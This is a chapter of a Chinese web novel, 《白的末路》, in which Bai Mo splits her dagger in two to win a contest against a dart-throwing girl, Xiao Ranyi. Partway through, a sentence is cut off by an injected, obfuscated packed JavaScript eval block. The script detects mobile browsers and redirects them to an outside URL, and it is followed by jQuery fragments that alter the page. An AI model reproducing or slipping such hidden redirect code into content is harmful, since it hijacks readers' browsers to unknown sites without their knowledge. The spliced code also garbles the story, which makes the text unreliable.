18.第二把匕首
作品:《白的末路》 在数不清的敌袭与袭击靶间,三人渐渐体力不支。
那只中心靶像只狡猾的狐狸,一旦有人试图靠近它,就会猛然缩回地下。
在无人后,又地鼠般再次钻回来。
场上的人数越来越少,中心靶也越来越少。
视线里完全没有其他中心靶的影子,没有办法,他们只能继续守在这里。
“这个中心靶也太诡异了。”苏形芝埋怨道。
“应该是隐蔽性被大大增强的特殊靶。”白末说出自己的猜想。
她将跳出的圆靶打下去,眼睛一直盯着中心靶埋藏的位置。
可是,运作机制是什么呢?
四周的队伍也都意识到了不对劲,除了一支队伍外,其余的队伍都散开前去寻找其他的目标。
两只队伍间有着七八米的距离,以中心靶埋藏的位置为中心对立着。
谁都没有上前一步。
“你们看,左边那个人是不是有点眼熟?”
苏形芝眯起眼睛。
一个头发直立,头上像堆了一层豪猪的鬓毛的男孩提着双刀,正凶巴巴地盯着他们。
对这个刺猬头一样的发型,白末也觉得自己在哪里见过。
过了十几秒,巴须“啊”了一声。
“是不是,他,说的,吴大锤决斗,的事。”
原来还算是熟人?
六只眼睛探光灯般扫过去,刺猬头目光微闪,微不可察地后缩了下脖子。
对面同他们一样,此刻也只有三个人。
站在最中间的是一个又高又瘦的“竹竿儿”,手里提着一只长枪,右侧则是一个十分矮小的女生,身材上虽还是小女孩的身量,脸却已是少女的模样。
她并没有变幻出器,双臂格挡在胸前,赤手空拳地站在那里。
时间一点点流逝,虽然初赛并没有明确的时间限制,但身边的圆靶层出不穷,越长的等待意味着越多的体力消耗。
如果不在体力尚存时折断中心靶,等待他们的依然会是淘汰。
白末示意巴须同她一起上前,率先向敌手出击。
苏形芝则留在原地,看准时机一举折断中心靶!
风声灌进耳内,在快速的跳跃中,三米……两米……二人快速逼近对方!
对面意识到不对,竹竿儿同刺猬头朝前奔来,交接的刹那,兵器发出嗡嗡的震动。
四人各退一步,宣告着比斗正式开始!
竹竿儿挥舞着长枪,刺猬头则在长枪运动的空隙间出刀,两者相互配合,将攻与守默契十足地融合起来。
白末试着从侧面进攻,只见长枪一转,便格挡住了她的匕首!
进攻,格挡,进攻,格挡。
双方一时竟是僵持下来。
苏形芝紧张地注意着那边的局势。
“你还要呆站着吗?”成熟的声音响起,来源却是那个小孩。
她睇向苏形芝,“多没意思,我们来玩个游戏怎么样?”
“规则很简单,你可以走五步,我绝不会挪动一点脚步。如果你能在这五步之内碰到我,那我自愿淘汰。”
“但是——”
她话锋一转,“如果你没有做到,那你就会被我淘汰。”
“怎么样?这样僵着总不是办法。你们也想晋级吧?”
声音里有着如同罂粟花一般的魔力。
苏形芝估算了一下她与女孩间的距离,不过七八米的距离,如果加上跳跃,五步之内靠近她完全没有问题。
她摸不透女孩的心思,但是这确实也是个破局的好方法。
哪怕女孩最后出尔反尔,在那般近的距离下,她也有把握将她淘汰!
这是两个“王”之间的对决。
苏形芝在女孩的注视下迈出第一步。
很快,她又借着圆靶的旋动,连跨两步,跃过中心点。
“忘了说了。”女孩突然开口,不动声色地指指她的器,“进行游戏的条件:收起你的器。”
苏形芝看了女孩两眼,将器变幻回指环的形态,继续朝着女孩走去。
第四步,她离女孩已只有半步远。
苏形芝屏住了呼吸,紧张地盯着眼前人,随时准备抽出器。
如果女孩出尔反尔,在最后一步时发动攻击,那她也完全有防备!
在即将被触碰的瞬间,女孩露出天真无邪的微笑。
“苏形芝!躲开!”白末出口。
她分明看到小女孩背在身后的手上,突然叠了一层银色,就要朝前挥去。
听到白末的话语,苏形芝在要触碰的最后一秒,硬生生刹住脚步,身形后仰的同时猛地朝前甩出鞭子。
女孩的目标却不是她。
稚童般的身影从她身前绕过,轻巧地朝前一跃,手上的利器便离了手。
一切都变成了慢动作,苏形芝愕然朝身后侧头——
不知何时,中心靶已然高高竖起。
一枚银质飞镖,正朝着靶身扑去。
……
但这个距离——
还在长鞭的攻击范围之内!
长鞭一甩,苏形芝看着跌落在地上的飞镖,心下刚松了一口气。
却感觉到整个后背传来刀割般的疼痛。
她回过头,小女孩手中持着另一枚飞镖,在她的身上割出大片的划痕。
白色的印迹蜈蚣样弥散开——
苏形芝,出局。
感应到器的存在后,中心靶再度沉入地下。
与此同时,竹竿儿和刺猬头二人的进攻也更加猛烈。
白末作为辅助位,应当在苏形芝出局的第一时间便代替“王”的角色,但她现下被困在这里,脱身不得。
而且,白末瞥着女孩蹦蹦跳跳前去捡回飞镖的身影,心里总有隐隐的不安:她总觉得这个女孩知道引出袭击靶的条件。
不能再耽搁了。
白末对巴须使了个眼色,接着双足蹬地,在双刀从低位击出时,持着匕首自上而下击去,同时身形猛然跳起,完成了一个漂亮的后翻。
但她一脱战,所有的压力都落到了巴须身上,他明显有些吃力起来。
好几次,都是堪堪躲过。
对面攻守兼备,而巴须擅守不擅攻,这样下去,他早晚也要出局。
白末快速逼近小女孩,后者敏捷地闪身,躲过袭来的刀势,朝着她扔来一只飞镖。
在这极短的距离内,白末猛地跳起,学着先前安鸷的样子,脚踩飞镖朝小女孩奔去。
似乎没想到她会来这招,小女孩急忙忙甩出另一个飞镖,白末侧身,飞镖顺着她的鬓角浅浅擦过。
白末几乎胜券在握,她离女孩越来越近,除非——
第三枚飞镖,自女童手中缓缓幻现。
她带着天使般的笑容,朝白末挥来。
暗器的关键在于一个“暗”字。
从原世纪便存在的刺客、盗贼,杀人于无形,盗人使疑邻,作为在暗中行动的“阴影”,连同他们的本领,都被纳入阴影之中。
显然女童便深晤此理,从一开始的赤手空拳,到后面的始终令人猜不透她手中到底有几只暗器。
像恶劣的猫儿,将猎物玩弄于股掌之间。
可……
“怎么会?”
女童的笑容还未收起,眼中满是惊愕与恐惧。
对面的人在见到她的第三枚飞镖时,非但没有犹豫,反而更加快速地直奔而来。
“嗡————”
兵戈交接,一柄匕首已然卡住了飞镖的凹处,对力相撞,竟是带着飞镖顺着其来时的轨迹滑去。
而白末的手中,赫然还有一把匕首。
她仿佛听见了轻笑。
那轻笑的含义不言而喻:你以为只有你会分裂器?
女童一个翻滚,躲开了夹带着飞镖的匕首,却在乍起身的瞬间被白末直直命中。
“哼。”她不服气的看着胸前裂开的大朵白花。
“淘汰我又怎么样?你们还不是晋不了级……”
说到这,后方的一声闷响吸引了她的注意力。
她心中有了猜测,但还是感到不可思议,怔怔地朝后看去。
那朵霸王花一般的中心靶上,一只飞镖赫然半身卡在靶身之后,匕首死死地咬合着飞镖,正中靶心。
中心靶断裂开,她身旁的少女已然轻轻巧巧地跳跃到圆靶旁,接住了中心靶。
初赛结束,白末一行,正式晋级。
将器进行分裂。并不是凭空冒出的想法。
白末将两把匕首合拢后,轻抚刀柄。
两把匕首的刀柄恰好一处凸起如圆月,一处凹陷如残月,对合后,刚好严丝合缝。
早在失控的靶台上,她便意识到器数量上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531996|170079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的单一带来的弊端。
但还是在见到女童的暗器后,她才第一次进行实践,试着把手中的器分化为二。
这个过程需要更高的精神专注度,她在操纵分化的器后,也能明显感觉到器的稳定性有所下降。
但所幸,胜负已决。
重新将器变幻为指环后,白末和巴须没有了再留在靶台上的理由,他们朝着台下走去。
站在角落里的苏形芝兴奋地迎过来。
“我们晋级了!”
“白末!巴须!我们晋级了!”
苏形芝的眼睛里散发着光采,眼睛不住地扫向白末手中的中心靶。
原本嚣张的圆靶,在此刻蔫头巴脑,气息一下子灰败了不少。
要是它有意识,在正在看众人为自己厮杀的热闹时,被不知道哪儿冒出来的暗器一把击中,肯定会十分挫败。
“白末。”巴须伸出拇指,“真棒。”
他在与竹竿儿二人缠斗时,余光一直在关注着白末那边。
步步惊险。
本以为就要到此为止,没想到绝处逢生。
“你是,什么时候,有了两把匕首?”
“刚刚。”白末简明扼要,“我看她能进行分化,自己也就试了试。”
“可是那不是进阶课程吗?你什么时候……”
“我也不知道。”白末说,“之前就有这个想法了,今天也是第一次尝试。”
她又把器拿出来,给苏形芝二人展示着。
悻悻地从台上下来的刺猬头把他们的对话听了个一清二楚。
他那双金鱼般凸起的眼睛地朝这里扫来,涨红了脸,似乎想要冲他们说什么,却被旁边一个人伸手拦住。
女童抢先一步走到白末身边,认真打量了她一番。
然后伸出了手。
“肖然伊。”
白末接住。
“白末。”
肖然伊旁若无人般对白末说道,“这次比赛中你的表现很好,你是第一次分化器?”
白末抽出手指,“怎么了呢?”
“不怎么。”肖然伊说,“新人吗?不错。你很值得做我的对手……我记住你了,下次明之试炼见。”
说罢,她便朝着出口的方向走去,身后的刺猬头时不时地扭头看他们,被竹竿儿二人一挡,彻底将他们隔绝开来。
从听到肖然伊的名字,苏形芝就皱起了眉头。
她总觉得自己在哪里听到过这个名字。
此刻,望着肖然伊的背影,苏形芝歪了歪头,才终于想起来。
“这是明塔排行榜上的肖然伊!”她眨眨眼睛,“她七岁就进了明塔,有着永远都长不大的身体,最擅长使用暗器。”
“我们居然打败了肖然伊!”
白末一顿,关注点却偏到了一边。
“为什么会永远长不大?”
白末看着娇小如孩童的身影,那稚嫩的手与脚都完全还是小女孩的躯干。
唯有那张脸上的眼睛,冷静,克制,漠然,仿佛藏了半生的荒凉。
苏形芝犹豫了一下,“似乎是先前被用做药童的关系。”
有一种孩童,由于家里抚养不起,或是被乞婆拐卖,从小就会被卖给药馆,作为试药者存在。
也就是药童。
小孩好哭闹,擅逃跑。相传有些药馆会专门腾出来一个空房,在里面摆上大大小小的床,将收来的药童五花大绑到床上。
说是试药者,更像是任人切割采摘的物料。
有一些稀奇的药,需要用到人身上的器官或组织,或是需要在人体内制作时,这些被困住的孩童就是最好的选择。
试药者往往短命而早夭,哪怕侥幸能活下来,身体上也会有各种后遗症。
白末在心里叹了口气。
白阿婆善于制药,常常会在距离离水村不远的山间采摘药草,回来后酿成药丸,给村里那些害病的人服下。
确实有些药物在动物体内发酵会有更好的药效。
白阿婆就常常会收回来一些动物的尸体,作为药物的培养皿。
但没想到,竟然有些无良药馆会直接拿活人做器皿。
她大抵知晓了肖然伊眼里的苍凉来自何处。
那是被阵阵黄沙一点点淹没鼻息的绝望。一旦那样被黄沙埋没过,眼里看见的世界也会蒙上一层灰黄色的阴影。